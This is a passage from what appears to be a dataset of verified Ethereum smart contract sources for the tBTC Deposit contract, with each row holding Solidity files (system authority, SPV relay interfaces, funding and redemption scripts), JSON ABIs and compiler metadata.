pe":"bytes","name":"_redeemerOutputScript","type":"bytes"},{"internalType":"address payable","name":"_finalRecipient","type":"address"}],"name":"transferAndRequestRedemption","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"undercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"utxoValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"withdrawableAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | MIT | false | bzzr://ec55669da878d6a87041b177cab080114051affcfb740deffc7517dc1385feab |
|||
Deposit | solidity/contracts/system/TBTCSystemAuthority.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity 0.5.17;
/// @title TBTC System Authority.
/// @notice Contract to secure function calls to the TBTC System contract.
/// @dev The `TBTCSystem` contract address is passed as a constructor parameter.
contract TBTCSystemAuthority {
address internal tbtcSystemAddress;
/// @notice Set the address of the System contract on contract initialization.
constructor(address _tbtcSystemAddress) public {
tbtcSystemAddress = _tbtcSystemAddress;
}
/// @notice Function modifier ensures modified function is only called by TBTCSystem.
modifier onlyTbtcSystem(){
require(msg.sender == tbtcSystemAddress, "Caller must be tbtcSystem contract");
_;
}
} | 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ITBTCSystem","name":"_tbtcSystem","type":"address"},{"internalType":"contract TBTCToken","name":"_tbtcToken","type":"address"},{"internalType":"contract IERC721","name":"_tbtcDepositToken","type":"address"},{"internalType":"contract FeeRebateToken","name":"_feeRebateToken","type":"address"},{"internalType":"address","name":"_vendingMachineAddress","type":"address"},{"internalType":"uint64","name":"_lotSizeSatoshis","type":"uint64"}],"name":"initializeDeposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"keepAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lotSizeSatoshis","outputs":[{"internalType":"uint64","name":"","type":"uint64"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lotSizeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"notifyCourtesyCall","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyCourtesyCallExpired","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyFundingTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyRedemptionProofTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyRedemptionSignatureTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifySignerSetupFailed","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyUndercollateralizedLiquidation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_txVersion","type":"bytes4"},{"internalType":"bytes","name":"_txInputVector","type":"bytes"},{"internalType":"bytes","name":"_txOutputVector","type":"bytes"},{"internalType":"bytes4","name":"_txLocktime","type":"bytes4"},{"internalType":"uint8","name":"_fundingOutputIndex","type":"uint8"},{"internalType":"bytes","name":"_merkleProof","type":"bytes"},{"internalType":"uint256","name":"_txIndexInBlock","type":"uint256"},{"internalType":"bytes","name":"_bitcoinHeaders","type":"bytes"}],"name":"provideBTCFundingProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"},{"internalType":"bytes32","name":"_signedDigest","type":"bytes32"},{"internalType":"bytes","name":"_preimage","type":"bytes"}],"name":"provideECDSAFraudProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"},{"internalType":"bytes32","name":"_signedDigest","type":"bytes32"},{"internalType":"bytes","name":"_preimage","type":"bytes"}],"name":"provideFundingECDSAFraudProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_txVersion","type":"bytes4"},{"internalType":"bytes","name":"_txInputVector","type":"bytes"},{"internalType":"bytes","name":"_txOutputVector","type":"bytes"},{"internalType":"bytes4","name":"_txLocktime","type":"bytes4"},{"internalType":"bytes","name":"_merkleProof","type":"bytes"},{"internalType":"uint256","name":"_txIndexInBlock","type":"uint256"},{"internalType":"bytes","name":"_bitcoinHeaders","type":"bytes"}],"name":"provideRedemptionProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"}],"name":"provideRedemptionSignature","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"purchaseSignerBondsAtAuction","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"remainingTerm","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes","name":"_abortOutputScript","type":"bytes"}],"name":"requestFunderAbort","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalType":"bytes","name":"_redeemerOutputScript","type":"bytes"}],"name":"requestRedemption","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"retrieveSignerPubkey","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"severelyUndercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"signerFeeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalType":"bytes","name":"_redeemerOutputScript","type":"bytes"},{"internalType":"address payable","name":"_finalRecipient","type":"address"}],"name":"transferAndRequestRedemption","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"undercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"utxoValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"withdrawableAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | MIT | false | bzzr://ec55669da878d6a87041b177cab080114051affcfb740deffc7517dc1385feab |
|||
Deposit | @summa-tx/relay-sol/contracts/Interfaces.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity ^0.5.10;
/// @title ISPVConsumer
/// @author Summa (https://summa.one)
/// @notice This interface consumes validated transaction information.
/// It is the primary way that user contracts accept
/// @dev Implement this interface to process transactions provided by
/// the Relay system.
interface ISPVConsumer {
/// @notice A consumer for Bitcoin transaction information.
/// @dev Users must implement this function. It handles Bitcoin
/// events that have been validated by the Relay contract.
/// It is VERY IMPORTANT that this function validates the
/// msg.sender. The callee must check the origin of the data
/// or risk accepting spurious information.
/// @param _txid The LE(!) txid of the bitcoin transaction that
/// triggered the notification.
/// @param _vin The length-prefixed input vector of the bitcoin tx
/// that triggered the notification.
/// @param _vout The length-prefixed output vector of the bitcoin tx
/// that triggered the notification.
/// @param _requestID The ID of the event request that this notification
/// satisfies. The ID is returned by
/// OnDemandSPV.request and should be locally stored by
/// any contract that makes more than one request.
/// @param _inputIndex The index of the input in the _vin that triggered
/// the notification.
/// @param _outputIndex The index of the output in the _vout that triggered
/// the notification. Useful for subscribing to transactions
/// that spend the newly-created UTXO.
function spv(
bytes32 _txid,
bytes calldata _vin,
bytes calldata _vout,
uint256 _requestID,
uint8 _inputIndex,
uint8 _outputIndex) external;
}
/// @title ISPVRequestManager
/// @author Summa (https://summa.one)
/// @notice The interface for using the OnDemandSPV system. This interface
/// allows you to subscribe to Bitcoin events.
/// @dev Manage subscriptions to Bitcoin events. Register callbacks to
/// be called whenever specific Bitcoin transactions are made.
interface ISPVRequestManager {
event NewProofRequest (
address indexed _requester,
uint256 indexed _requestID,
uint64 _paysValue,
bytes _spends,
bytes _pays
);
event RequestClosed(uint256 indexed _requestID);
event RequestFilled(bytes32 indexed _txid, uint256 indexed _requestID);
/// @notice Subscribe to a feed of Bitcoin transactions matching a request
/// @dev The request can be a spent utxo and/or a created utxo.
///
/// The contract allows users to register a "consumer" contract
/// that implements ISPVConsumer to handle Bitcoin events.
///
/// Bitcoin transactions are composed of a vector of inputs,
/// and a vector of outputs. The `_spends` parameter allows consumers
/// to watch a specific UTXO, and receive an event when it is spent.
///
/// The `_pays` and `_paysValue` param allow the user to watch specific
/// Bitcoin output scripts. An output script is typically encoded
/// as an address, but an address is not an in-protocol construction.
/// In other words, consumers will receive an event whenever a specific
/// address receives funds, or when a specific OP_RETURN is created.
///
/// Either `_spends` or `_pays` MUST be set. Both MAY be set.
/// If both are set, only notifications meeting both criteria
/// will be triggered.
///
/// @param _spends An outpoint that must be spent in acceptable transactions.
/// The outpoint must be exactly 36 bytes, and composed of a
/// LE txid (32 bytes), and an 4-byte LE-encoded index integer.
/// In other words, the precise serialization format used in a
/// serialized Bitcoin TxIn.
///
/// Note that while we might expect a `_spends` event to fire at most
/// one time, that expectation becomes invalid in long Bitcoin reorgs
/// if there is a double-spend or a disconfirmation followed by
/// reconfirmation.
///
/// @param _pays An output script to watch for events. A filter with `_pays` set will
/// validate any number of events that create new UTXOs with a specific
/// output script.
///
/// This is useful for watching an address and responding to incoming
/// payments.
///
/// @param _paysValue A minimum value in satoshi that must be paid to the output script.
/// If this is set no any non-0 number, the Relay will only forward
/// `_pays` notifications to the consumer if the value of the new UTXO is
/// at least `_paysValue`.
///
/// @param _consumer The address of a contract that implements the `ISPVConsumer` interface.
/// Whenever events are available, the Relay will validate inclusion
/// and confirmation, then call the `spv` function on the consumer.
///
/// @param _numConfs The number of headers that must confirm the block
/// containing the transaction. Used as a security parameter.
/// More confirmations means less likely to revert due to a
/// chain reorganization. Note that 1 confirmation is required,
/// so the general "6 confirmation" rule would be expressed
/// as `5` when calling this function
///
/// @param _notBefore An Ethereum timestamp before which proofs will not be accepted.
/// Used to control app flow for specific users.
///
/// @return A unique request ID.
function request(
bytes calldata _spends,
bytes calldata _pays,
uint64 _paysValue,
address _consumer,
uint8 _numConfs,
uint256 _notBefore
) external returns (uint256);
/// @notice Cancel an active bitcoin event request.
/// @dev Prevents the relay from forwarding tx information
/// @param _requestID The ID of the request to be cancelled
/// @return True if succesful, error otherwise
function cancelRequest(uint256 _requestID) external returns (bool);
/// @notice Retrieve info about a request
/// @dev Requests ids are numerical
/// @param _requestID The numerical ID of the request
/// @return A tuple representation of the request struct.
/// To save space`spends` and `pays` are stored as keccak256
/// hashes of the original information. The `state` is
/// `0` for "does not exist", `1` for "active" and `2` for
/// "cancelled."
function getRequest(
uint256 _requestID
) external view returns (
bytes32 spends,
bytes32 pays,
uint64 paysValue,
uint8 state,
address consumer,
address owner,
uint8 numConfs,
uint256 notBefore
);
}
interface IRelay {
event Extension(bytes32 indexed _first, bytes32 indexed _last);
event NewTip(bytes32 indexed _from, bytes32 indexed _to, bytes32 indexed _gcd);
function getCurrentEpochDifficulty() external view returns (uint256);
function getPrevEpochDifficulty() external view returns (uint256);
function getRelayGenesis() external view returns (bytes32);
function getBestKnownDigest() external view returns (bytes32);
function getLastReorgCommonAncestor() external view returns (bytes32);
function findHeight(bytes32 _digest) external view returns (uint256);
function findAncestor(bytes32 _digest, uint256 _offset) external view returns (bytes32);
function isAncestor(bytes32 _ancestor, bytes32 _descendant, uint256 _limit) external view returns (bool);
function addHeaders(bytes calldata _anchor, bytes calldata _headers) external returns (bool);
function addHeadersWithRetarget(
bytes calldata _oldPeriodStartHeader,
bytes calldata _oldPeriodEndHeader,
bytes calldata _headers
) external returns (bool);
function markNewHeaviest(
bytes32 _ancestor,
bytes calldata _currentBest,
bytes calldata _newBest,
uint256 _limit
) external returns (bool);
} | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"auctionValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"collateralizationPercentage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"currentState","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"exitCourtesyCall","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"fundingInfo","outputs":[{"internalType":"bytes8","name":"utxoValueBytes","type":"bytes8"},{"internalType":"uint256","name":"fundedAt","type":"uint256"},{"internalType":"bytes","name":"utxoOutpoint","type":"bytes"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_redeemer","type":"address"}],"name":"getOwnerRedemptionTbtcRequirement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_redeemer","type":"address"}],"name":"getRedemptionTbtcRequirement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"inActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_previousOutputValueBytes","type":"bytes8"},{"internalType":"bytes8","name":"_newOutputValueBytes","type":"bytes8"}],"name":"increaseRedemptionFee","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"initialCollateralizedPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_factory","type":"address"}],"name":"initialize","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"contract 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FeeRebateToken","name":"_feeRebateToken","type":"address"},{"internalType":"address","name":"_vendingMachineAddress","type":"address"},{"internalType":"uint64","name":"_lotSizeSatoshis","type":"uint64"}],"name":"initializeDeposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"keepAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lotSizeSatoshis","outputs":[{"internalType":"uint64","name":"","type":"uint64"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lotSizeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"notifyCourtesyCall","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyCourtesyCallExpired","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyFundingTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyRedemptionProofTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyRedemptionSignatureTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifySignerSetupFailed","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyUndercollateralizedLiquidation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_txVersion","type":"bytes4"},{"internalType":"bytes","name":"_txInputVector","type":"bytes"},{"internalType":"bytes","name":"_txOutputVector","type":"bytes"},{"internalType":"bytes4","name":"_txLocktime","type":"bytes4"},{"internalType":"uint8","name":"_fundingOutputIndex","type":"uint8"},{"internalType":"bytes","name":"_merkleProof","type":"bytes"},{"internalType":"uint256","name":"_txIndexInBlock","type":"uint256"},{"internalType":"bytes","name":"_bitcoinHeaders","type":"bytes"}],"name":"provideBTCFundingProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"},{"internalType":"bytes32","name":"_signedDigest","type":"bytes32"},{"internalType":"bytes","name":"_preimage","type":"bytes"}],"name":"provideECDSAFraudProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"},{"internalType":"bytes32","name":"_signedDigest","type":"bytes32"},{"internalType":"bytes","name":"_preimage","type":"bytes"}],"name":"provideFundingECDSAFraudProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_txVersion","type":"bytes4"},{"internalType":"bytes","name":"_txInputVector","type":"bytes"},{"internalType":"bytes","name":"_txOutputVector","type":"bytes"},{"internalType":"bytes4","name":"_txLocktime","type":"bytes4"},{"internalType":"bytes","name":"_merkleProof","type":"bytes"},{"internalType":"uint256","name":"_txIndexInBlock","type":"uint256"},{"internalType":"bytes","name":"_bitcoinHeaders","type":"bytes"}],"name":"provideRedemptionProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"}],"name":"provideRedemptionSignature","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"purchaseSignerBondsAtAuction","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"remainingTerm","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes","name":"_abortOutputScript","type":"bytes"}],"name":"requestFunderAbort","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalType":"bytes","name":"_redeemerOutputScript","type":"bytes"}],"name":"requestRedemption","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"retrieveSignerPubkey","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"severelyUndercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"signerFeeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalType":"bytes","name":"_redeemerOutputScript","type":"bytes"},{"internalType":"address payable","name":"_finalRecipient","type":"address"}],"name":"transferAndRequestRedemption","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"undercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"utxoValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"withdrawableAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | MIT | false | bzzr://ec55669da878d6a87041b177cab080114051affcfb740deffc7517dc1385feab |
|||
Deposit | solidity/contracts/scripts/FundingScript.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity 0.5.17;
import {ITokenRecipient} from "../interfaces/ITokenRecipient.sol";
import {TBTCDepositToken} from "../system/TBTCDepositToken.sol";
import {TBTCToken} from "../system/TBTCToken.sol";
import {FeeRebateToken} from "../system/FeeRebateToken.sol";
import {VendingMachine} from "../system/VendingMachine.sol";
/// @notice A one-click script for minting TBTC from an unqualified TDT.
/// @dev Wrapper script for VendingMachine.unqualifiedDepositToTbtc
/// This contract implements receiveApproval() and can therefore use
/// approveAndCall(). This pattern combines TBTC Token approval and
/// vendingMachine.unqualifiedDepositToTbtc() in a single transaction.
contract FundingScript is ITokenRecipient {
TBTCToken tbtcToken;
VendingMachine vendingMachine;
TBTCDepositToken tbtcDepositToken;
FeeRebateToken feeRebateToken;
constructor(
address _VendingMachine,
address _TBTCToken,
address _TBTCDepositToken,
address _FeeRebateToken
) public {
vendingMachine = VendingMachine(_VendingMachine);
tbtcToken = TBTCToken(_TBTCToken);
tbtcDepositToken = TBTCDepositToken(_TBTCDepositToken);
feeRebateToken = FeeRebateToken(_FeeRebateToken);
}
/// @notice Receives approval for a TDT transfer, and calls `VendingMachine.unqualifiedDepositToTbtc` for a user.
/// @dev Implements the approveAndCall receiver interface.
/// @param _from The owner of the token who approved them for transfer.
/// @param _tokenId Approved TDT for the transfer.
/// @param _extraData Encoded function call to `VendingMachine.unqualifiedDepositToTbtc`.
function receiveApproval(
address _from,
uint256 _tokenId,
address,
bytes memory _extraData
) public { // not external to allow bytes memory parameters
require(msg.sender == address(tbtcDepositToken), "Only token contract can call receiveApproval");
tbtcDepositToken.transferFrom(_from, address(this), _tokenId);
tbtcDepositToken.approve(address(vendingMachine), _tokenId);
// Verify _extraData is a call to unqualifiedDepositToTbtc.
bytes4 functionSignature;
assembly {
functionSignature := and(mload(add(_extraData, 0x20)), not(0xff))
}
require(
functionSignature == vendingMachine.unqualifiedDepositToTbtc.selector,
"Bad _extraData signature. Call must be to unqualifiedDepositToTbtc."
);
// Call the VendingMachine.
// We could explictly encode the call to vending machine, but this would
// involve manually parsing _extraData and allocating variables.
// We capture the `returnData` in order to forward any nested revert message
// from the contract call.
/* solium-disable-next-line security/no-low-level-calls */
(bool success, bytes memory returnData) = address(vendingMachine).call(_extraData);
string memory revertMessage;
assembly {
// A revert message is ABI-encoded as a call to Error(string).
// Slicing the Error() signature (4 bytes) and Data offset (4 bytes)
// leaves us with a pre-encoded string.
// We also slice off the ABI-coded length of returnData (32).
revertMessage := add(returnData, 0x44)
}
require(success, revertMessage);
// Transfer the TBTC and feeRebateToken to the user.
tbtcToken.transfer(_from, tbtcToken.balanceOf(address(this)));
feeRebateToken.transferFrom(address(this), _from, uint256(_tokenId));
}
} | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"auctionValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"collateralizationPercentage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"currentState","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"exitCourtesyCall","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"fundingInfo","outputs":[{"internalType":"bytes8","name":"utxoValueBytes","type":"bytes8"},{"internalType":"uint256","name":"fundedAt","type":"uint256"},{"internalType":"bytes","name":"utxoOutpoint","type":"bytes"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_redeemer","type":"address"}],"name":"getOwnerRedemptionTbtcRequirement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_redeemer","type":"address"}],"name":"getRedemptionTbtcRequirement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"inActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_previousOutputValueBytes","type":"bytes8"},{"internalType":"bytes8","name":"_newOutputValueBytes","type":"bytes8"}],"name":"increaseRedemptionFee","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"initialCollateralizedPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_factory","type":"address"}],"name":"initialize","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"contract 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|||
Deposit | solidity/contracts/scripts/RedemptionScript.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity 0.5.17;
import {ITokenRecipient} from "../interfaces/ITokenRecipient.sol";
import {TBTCDepositToken} from "../system/TBTCDepositToken.sol";
import {TBTCToken} from "../system/TBTCToken.sol";
import {FeeRebateToken} from "../system/FeeRebateToken.sol";
import {VendingMachine} from "../system/VendingMachine.sol";
import {Deposit} from "../deposit/Deposit.sol";
import {BytesLib} from "@summa-tx/bitcoin-spv-sol/contracts/BytesLib.sol";
/// @notice A one-click script for redeeming TBTC into BTC.
/// @dev Wrapper script for VendingMachine.tbtcToBtc
/// This contract implements receiveApproval() and can therefore use
/// approveAndCall(). This pattern combines TBTC Token approval and
/// vendingMachine.tbtcToBtc() in a single transaction.
contract RedemptionScript is ITokenRecipient {
using BytesLib for bytes;
TBTCToken tbtcToken;
VendingMachine vendingMachine;
FeeRebateToken feeRebateToken;
constructor(
address _VendingMachine,
address _TBTCToken,
address _FeeRebateToken
) public {
vendingMachine = VendingMachine(_VendingMachine);
tbtcToken = TBTCToken(_TBTCToken);
feeRebateToken = FeeRebateToken(_FeeRebateToken);
}
/// @notice Receives approval for a TBTC transfer, and calls `VendingMachine.tbtcToBtc` for a user.
/// @dev Implements the approveAndCall receiver interface.
/// @param _from The owner of the token who approved them for transfer.
/// @param _amount Approved TBTC amount for the transfer.
/// @param _extraData Encoded function call to `VendingMachine.tbtcToBtc`.
function receiveApproval(
address _from,
uint256 _amount,
address,
bytes memory _extraData
) public { // not external to allow bytes memory parameters
require(msg.sender == address(tbtcToken), "Only token contract can call receiveApproval");
tbtcToken.transferFrom(_from, address(this), _amount);
tbtcToken.approve(address(vendingMachine), _amount);
// Verify _extraData is a call to tbtcToBtc.
bytes4 functionSignature;
assembly {
functionSignature := and(mload(add(_extraData, 0x20)), not(0xff))
}
require(
functionSignature == vendingMachine.tbtcToBtc.selector,
"Bad _extraData signature. Call must be to tbtcToBtc."
);
// We capture the `returnData` in order to forward any nested revert message
// from the contract call.
// solium-disable-next-line security/no-low-level-calls
(bool success, bytes memory returnData) = address(vendingMachine).call(_extraData);
string memory revertMessage;
assembly {
// A revert message is ABI-encoded as a call to Error(string).
// Slicing the Error() signature (4 bytes) and Data offset (4 bytes)
// leaves us with a pre-encoded string.
// We also slice off the ABI-coded length of returnData (32).
revertMessage := add(returnData, 0x44)
}
require(success, revertMessage);
}
